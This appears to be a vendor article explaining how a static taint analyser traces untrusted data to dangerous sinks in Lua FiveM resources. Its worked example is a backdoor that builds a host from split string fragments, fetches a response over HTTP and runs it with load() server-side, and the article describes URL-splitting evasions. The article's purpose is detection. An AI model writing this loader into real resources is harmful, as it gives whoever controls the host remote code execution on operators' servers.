Taint analysis for Lua: how we trace a payload from HTTP to load()
In short
Taint analysis tracks untrusted values from where they enter a program (sources) to where they do something dangerous (sinks). For FiveM resources the sources are HTTP responses, net event parameters, file reads and convars; the sinks are load and loadstring, ExecuteCommand, SQL string construction and outbound requests carrying secrets. Between them the analyser propagates taint through assignments, concatenations, table fields and function calls, folding constants along the way so a URL assembled from fragments still resolves. A finding is only reported when a concrete path exists from a source to a sink, and the path itself — file, line, each hop — is the output, because an operator can verify a path and cannot verify a score.
Key takeaways
- Sources are where untrusted data enters; sinks are where it becomes dangerous. A finding is a path between them.
- Propagation must follow assignments, concatenation, table fields and function boundaries, or real backdoors slip through.
- Constant folding defeats split URLs and char-code strings without needing to execute anything.
- Manifest context decides severity: the same pattern in an unloaded file is not the same finding.
- Ship the path, not the score. Evidence is what makes a result actionable and falsifiable.
Pattern matching finds the naive cases. It finds load( and it finds PerformHttpRequest, and on a resource where those are twelve lines apart it produces the right answer. On anything written to avoid it, pattern matching produces two unrelated hits and no conclusion. Getting past that requires reasoning about values rather than text.
The model: sources, sinks, propagation
Taint analysis is one of the older ideas in static security analysis and it is refreshingly simple to state. Mark the values that come from somewhere untrusted. Follow them as the program moves them around. Report when one arrives somewhere it should not.
| Category | Examples |
|---|---|
| Sources | PerformHttpRequest response bodies, net event parameters, file reads, convar values, NUI callback data |
| Sinks | load / loadstring, ExecuteCommand, add_ace / add_principal, SQL query strings, outbound request bodies |
| Sanitisers | Type checks, allow-list comparisons, numeric coercion, parameterised query construction |
| Propagators | Assignment, concatenation, table field write and read, function argument and return |
The interesting engineering is not the taxonomy. It is that Lua makes the propagation step genuinely hard.
Why Lua resists this
- Dynamic typing. A value has no declared type, so the analyser cannot lean on a type system to bound what a variable might hold.
- Tables as everything. Objects, arrays, namespaces and closures are all tables, so field-sensitive tracking is not optional.
- First-class functions. A function can be stored in a table, passed around and called through a variable — following taint through it requires resolving the call target.
- Metatables. __index and __call can redirect operations to code somewhere else entirely.
- Multiple returns and varargs. A single call site can propagate taint into several destinations at once.
- And, of course, load itself — the sink is also a way to create new code the analyser never parsed.
Constant folding: the practical necessity
The most common evasion is not clever, it is arithmetic. A URL split across concatenations, a string built from character codes, a table joined at runtime. None of it survives evaluation, so the analyser evaluates what it safely can.
local a = 'ht' .. 'tps://' .. 'example' .. '.test'
local b = string.char(104,116,116,112,115,58,47,47)
local c = table.concat({'https:', '', 'example.test'}, '/')Folding is pure evaluation over known constants — no resource code is executed, and the analyser refuses to fold anything that depends on runtime state. That boundary is what keeps a static tool static: it can compute 'ht' .. 'tps://' because both operands are literals, and it declines to guess what os.date() returns.
A worked example
-- config.lua
Config = {}
Config.Node = 'cdn' .. '-eu' .. '.example'
Config.Path = '/v1/' .. 'sync'
-- server/telemetry.lua
local function unpackPayload(s)
return (s:gsub('%s', ''))
end
CreateThread(function()
PerformHttpRequest(
'https://' .. Config.Node .. Config.Path,
function(status, body)
if status ~= 200 then return end
local decoded = unpackPayload(body)
local chunk = load(decoded)
if chunk then chunk() end
end, 'GET')
end)- 1
Fold the endpoint
Config.Node and Config.Path are constant expressions across files, so the request target resolves to a concrete host and path.
- 2
Mark the source
The body parameter of the PerformHttpRequest callback is a network response. Taint it.
- 3
Propagate through the call
body is passed to unpackPayload. The analyser follows the argument into the function body, through the gsub, and back out via the return.
- 4
Propagate through assignment
decoded holds the returned tainted value.
- 5
Hit the sink
load(decoded) is a dynamic-load sink receiving tainted data. Path complete.
- 6
Weight by manifest context
server/telemetry.lua is in server_scripts, so this executes with database and console access. Severity: critical.
The report is that sequence, not a number. 'config.lua:3 defines the host, server/telemetry.lua:11 receives the response, :13 transforms it, :14 executes it, and this file runs server-side' is something an operator can open in an editor and confirm in ninety seconds. That verifiability is the whole product.
Where we still lose
- Deep obfuscation. When every identifier is reconstructed through arithmetic at runtime, the structural signal survives but the payload does not. We report the structure and say the payload was unresolvable.
- Metatable indirection used aggressively. Resolving __index chains statically is possible in simple cases and undecidable in general.
- Code that is genuinely constructed at runtime from external input — the honest answer there is that the code does not exist until it runs.
- Intent. The analysis proves data flows from network to execution. Whether that is a plugin system or a backdoor is a judgement a person makes with context we do not have.
Naming these is not a disclaimer. It is what lets the findings we do report mean something specific — a tool that never says 'I could not resolve this' is a tool whose clean results carry no information.
See the analysis on a real archiveUpload a resource and read the evidence path: file, line, and each hop from source to sink.Frequently asked questions
What is taint analysis and how does it detect FiveM backdoors?
Taint analysis marks values arriving from untrusted sources — HTTP responses, net event parameters, file reads — and follows them through assignments, concatenations, table fields and function calls to see whether they reach a dangerous operation such as load(), ExecuteCommand or a SQL string. When a concrete path exists from source to sink, that path is the finding, and it can be reported with a file and line for every hop.
Why is static analysis of Lua harder than of other languages?
Lua is dynamically typed, uses tables for objects, arrays and namespaces alike, treats functions as first-class values that can be stored and called indirectly, and allows metatables to redirect operations elsewhere. All of that means an analyser cannot rely on declared types to bound what a variable holds, so field-sensitive and call-sensitive tracking is mandatory rather than an optimisation.
How does a scanner see through a URL split into fragments?
Constant folding. The analyser evaluates expressions whose operands are all known literals — string concatenations, character-code sequences, table joins — and matches against the folded result rather than the source text. It never executes resource code, and it declines to fold anything depending on runtime state, which keeps the analysis static.